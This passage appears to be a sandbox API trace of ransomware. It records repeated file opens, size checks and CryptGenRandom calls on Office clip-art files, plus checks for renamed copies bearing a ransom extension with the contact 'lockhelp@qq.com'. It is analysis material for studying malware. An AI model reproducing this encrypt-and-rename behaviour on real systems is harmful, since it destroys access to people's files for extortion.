hTemplateFile=0x0) returned 0x37c [0275.121] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=792) returned 1 [0275.121] CloseHandle (hObject=0x37c) returned 1 [0275.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0275.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.122] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.122] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1074) returned 1 [0275.122] CloseHandle (hObject=0x37c) returned 1 [0275.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0275.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.122] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.122] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1848) returned 1 [0275.122] CloseHandle (hObject=0x37c) returned 1 [0275.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0275.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.123] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.123] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11190) returned 1 [0275.123] CloseHandle (hObject=0x37c) returned 1 [0275.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0275.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.123] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.124] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1892) returned 1 [0275.124] CloseHandle (hObject=0x37c) returned 1 [0275.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0275.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.124] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.124] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=696) returned 1 [0275.125] CloseHandle (hObject=0x37c) returned 1 [0275.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0275.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.126] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.126] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1928) returned 1 [0275.126] CloseHandle (hObject=0x37c) returned 1 [0275.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0275.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.126] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.126] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9172) returned 1 [0275.126] CloseHandle (hObject=0x37c) returned 1 [0275.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0275.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.126] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.127] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=12748) returned 1 [0275.127] CloseHandle (hObject=0x37c) returned 1 [0275.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0275.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.128] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.128] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6920) returned 1 [0275.128] CloseHandle (hObject=0x37c) returned 1 [0275.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0275.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.128] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.128] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1256) returned 1 [0275.128] CloseHandle (hObject=0x37c) returned 1 [0275.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0275.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.129] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.129] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2944) returned 1 [0275.129] CloseHandle (hObject=0x37c) returned 1 [0275.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0275.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.129] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.130] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1220) returned 1 [0275.130] CloseHandle (hObject=0x37c) returned 1 [0275.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0275.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.130] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.131] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9734) returned 1 [0275.131] CloseHandle (hObject=0x37c) returned 1 [0275.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0275.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.131] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.131] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9596) returned 1 [0275.131] CloseHandle (hObject=0x37c) returned 1 [0275.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0275.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.132] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.132] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17016) returned 1 [0275.132] CloseHandle (hObject=0x37c) returned 1 [0275.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0275.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.132] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.132] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=21782) returned 1 [0275.132] CloseHandle (hObject=0x37c) returned 1 [0275.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0275.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.132] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), 